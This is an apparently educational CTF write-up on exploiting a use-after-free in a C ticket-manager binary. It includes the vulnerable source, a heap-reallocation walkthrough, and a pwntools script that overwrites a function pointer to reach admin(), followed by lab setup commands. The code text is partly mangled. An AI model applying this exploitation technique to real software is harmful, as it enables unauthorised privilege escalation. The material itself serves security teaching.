The exploitation of a Use After Free (UAF) depend on the program implementation. With this example, the attacker can exploit an UAF in order to jump to an arbitrary function : "admin"
Source code
The program had 2 files :
#include<stdio.h>#include<string.h>#include<stdlib.h>#include"ticket.h"charlogin(void){char username[16] ="";char password[16] ="";char secret[16] ="";char c; FILE *fp =fopen(".passwd","r");fread(secret,1,15, fp);fclose(fp); secret[15] ='\0';printf("Username: ");fgets(username,sizeof(username), stdin);fflush(stdout);if (username[strlen(username)-1] =='\n'){ username[strlen(username) -1] ='\0'; } username[strlen(username)] ='\0';printf("Password: ");fflush(stdin);fgets(password,sizeof(password), stdin);if (password[strlen(password)-1] =='\n'){ password[strlen(password) -1] ='\0'; }if (strcmp(password, secret)==0&&strcmp(username,"admin")==0) {return1; } else {return0; }}voidadmin(void){printf("Welcome Admin !\n");char i, c =1;while(c){printf("What to do you want to do ?\n");printf("1 - List all tickets\n");printf("2 - Read ticket\n");printf("3 - Close ticket\n");printf("0 - Exit\n");printf("Choice > ");scanf("%hhd",&i);printf("\e[1;1H\e[2J");switch (i) {case0: c =0;break;default:printf("Function not yet implemented !\n"); } }}voidadd_ticket(int*count, ticket **ticket_list){int i;if(*count >4){printf("Error, ticket list is already full... \n");return; }for (i=(int)sizeof(ticket_list)-1;i>0;--i){ ticket_list[i] = ticket_list[i-1]; } ticket_list[0] =ticket_create();printf("ticket %p\n", ticket_list[*count]);*count =*count +1;}voiddel_ticket(int*count, ticket **ticket_list){char buf[4];int id; ticket *tmp;printf("Index to remove :");fgets(buf,sizeof(buf),stdin); id =atoi(buf);if (id <0|| id >=*count) {printf("Out of bound!");return; } tmp = ticket_list[id]; ticket_list[id] = ticket_list[*count-1]; ticket_list[*count-1] = tmp;ticket_del(tmp);free(tmp);*count =*count-1;}voiddisplay_tickets(int*count, ticket **ticket_list){int id =0;if(*count ==0){printf("There is no tickets to display\n");return; }for(id =0; id<*count;++id){printf("id : %d\n", id); ticket_list[id]->display(ticket_list[id]); }}void (int*count, ticket **ticket_list){int id =0;char buf[8];if(*count ==0){printf("There is no tickets to display\n");return; }printf("Index to read :");fgets(buf,sizeof(buf),stdin); id =atoi(buf);printf("id : %d\n", id);if(id >=0&& id <sizeof(ticket_list)){ ticket_list[id]->display(ticket_list[id]); }}voidguest(void){char buf[8]; ticket *ticket_list[5];int count =0;printf("Welcome guest.\n");char i, c =1;while(c){printf("Press enter char to continue...");getchar();printf("\e[1;1H\e[2J");printf("What to do you want to do ?\n");printf("1 - Get current tickets\n");printf("2 - Read ticket\n");printf("3 - Create ticket\n");printf("4 - Delete ticket\n");printf("5 - Submit tickets\n");printf("0 - Exit\n");printf("Choice > ");fgets(buf,sizeof(buf), stdin); i = buf[0];printf("\e[1;1H\e[2J");switch (i) {case'0': c =0;break;case'1':display_tickets(&count, ticket_list);break;case'2':read_ticket(&count, ticket_list);break;case'3':add_ticket(&count, ticket_list);break;case'4':del_ticket(&count, ticket_list);break;default:printf("Function not yet implemented !\n"); } }}intmain(void) {printf("\e[1;1H\e[2J");char userType =0;printf("Welcome, please login.\n"); userType =login();printf("\e[1;1H\e[2J");if (userType ==1) {admin(); } else {guest(); }}
This application is likely a ticketing application.
Guest user can create and submit ticket.
Admin user can read all tickets from all users.
Ths function login is here to authenticate a user and redirect him to the guest function is he isn't an admin, and admin if he is.
As the password isn't know, the attacker will be sent into the guest function.
Guest
voidguest(void){char buf[8]; ticket *ticket_list[5];int count =0;printf("Welcome guest.\n");char i, c =1;while(c){printf("Press enter char to continue...");getchar();printf("\e[1;1H\e[2J");printf("What to do you want to do ?\n");printf("1 - Get current tickets\n");printf("2 - Read ticket\n");printf("3 - Create ticket\n");printf("4 - Delete ticket\n");printf("5 - Submit tickets\n");printf("0 - Exit\n");printf("Choice > ");fgets(buf,sizeof(buf), stdin); i = buf[0];printf("\e[1;1H\e[2J");switch (i) {case'0': c =0;break;case'1':display_tickets(&count, ticket_list);break;case'2':read_ticket(&count, ticket_list);break;case'3':add_ticket(&count, ticket_list);break;case'4':del_ticket(&count, ticket_list);break;default:printf("Function not yet implemented !\n"); } }}
This function is a menu and ask fot the user what he want to do and then call a function depending on the user choice.
There is 2 interesting variables :
ticket_list that store the actual user's tickets pointers
count that store how many ticket the user have.
display_ticket()
voiddisplay_tickets(int*count, ticket **ticket_list){int id =0;if(*count ==0){printf("There is no tickets to display\n");return; }for(id =0; id<*count;++id){printf("id : %d\n", id); ticket_list[id]->display(ticket_list[id]); }}
This function will print all ticket counted for the users.
read_ticket()
voidread_ticket(int*count, ticket **ticket_list){int id =0;char buf[8];if(*count ==0){printf("There is no tickets to display\n");return; }printf("Index to read :");fgets(buf,sizeof(buf),stdin); id =atoi(buf);printf("id : %d\n", id);if(id >=0&& id <sizeof(ticket_list)){ ticket_list[id]->display(ticket_list[id]); }}
This function will print a specific ticket
Note: There is no control about how many tickets the user had.
Then it might be possible to require to print the ticket 4 unless it doesn't exist... it this case the binary will probably crash...
This function will create a ticket in memory and return the pointer ( used by the add_ticket() function )
First, the function will allocate a chunk to store the struct at the size of the struct ( 40 bytes )
The title is ask for the user and stored into the memory
A content size is require and used to allocate chunk to store the ticket content
the content is ask and stored into the memory
Note: The user can define the malloc size and then choose the type of bin used.
Exploitation
Let's resume the important parts for the exploitation :
Tickets can be created and stored into a chunk of size 40 bytes
Content can be created and stored into a chunk of an arbitrary size
Tickets have a function pointer used to print itself contents and title with a specific format
Tickets can be freed
Unless the ticket its freed, it can be accessible using the read_ticket()function.
The objective is to rewrite a Ticket struct memory using a memory reallocation and use it as a ticket (Use after free) to call the display function.
Because the ticket object will be overwrite, the display function can point to an arbitrary function... here it will be admin()
The process to do that is simple :
Create a ticket with a content of size != 40
A chunk will be allocated to store the ticket from a fastbin of size 40 and another from another bin to store the content.
Create a second ticket with a content of size !=40
As for the first ticket, a chunk of size 40 is allocated to store the ticket and another chuck from another bin to store the content.
free the first ticket
The two previously allocated chunk ( for ticket and for content ) was freed and push onto respective bins
free the second ticket
The two previously allocated chunk ( for ticket and for content ) was freed and push onto respective bins
Create a third ticket with a content of size 40 with the targeted function address as value
The chuck of the second ticket will be reallocated to this ticket and the chunk for the first ticket will be reallocated for the content !
Read the first ticket ( placed at the end of the ticket_list due to the swap when free )
The first ticket has now the value of the content of the third ticket due to the reallocation. The display pointer is overwritten by the admin() address
Here is a python code to do that :
from pwn import*elf = context.binary =ELF("./chall")p =process()target =p64(0x401742)# `admin()` function addressdeflogin(): p.recvline() p.sendline(b'a') p.recv(timeout=1) p.sendline(b'a') p.recv(timeout=1)defchoice(c): p.sendline() a = p.recvuntil(b"Exit") p.sendline(c)defcreate(title,size,content):choice(b'3') p.sendline(title) p.sendline(size) p.sendline(content)defdelete(index):choice(b'4') p.sendline(index)login()# Create the first ticket with a content size = 80create(b'title', b'80', b'test')# Create the second ticket with a content size = 80create(b'title', b'80', b'test')# Delete the first ticketdelete(b'0')# Delete the second ticketdelete(b'0')# Create a third ticket with a size = sizeof(ticket) create(b'exploit', b'40', target)# read the second ticketchoice(b'2')p.sendline(b'2')p.interactive()p.close()
$python3exploit.py[*] './chall'Arch:amd64-64-littleRELRO:PartialRELROStack:CanaryfoundNX:NXenabledPIE:NoPIE (0x400000)[+] Starting local process './chall': pid 220WelcomeAdmin!Whattodoyouwanttodo?1-Listalltickets2-Readticket3-Closeticket0-ExitChoice>
Exercice
If you want to try this exploit by yourself, you can pull this docker image :
docker pull thectfrecipes/pwn:use_after_free
Deploy the image using the followed command :
docker run --name use_after_free -it --rm -d -p 3000:3000 thectfrecipes/pwn:use_after_free
Access to the web shell with your browser at the address : http://localhost:3000/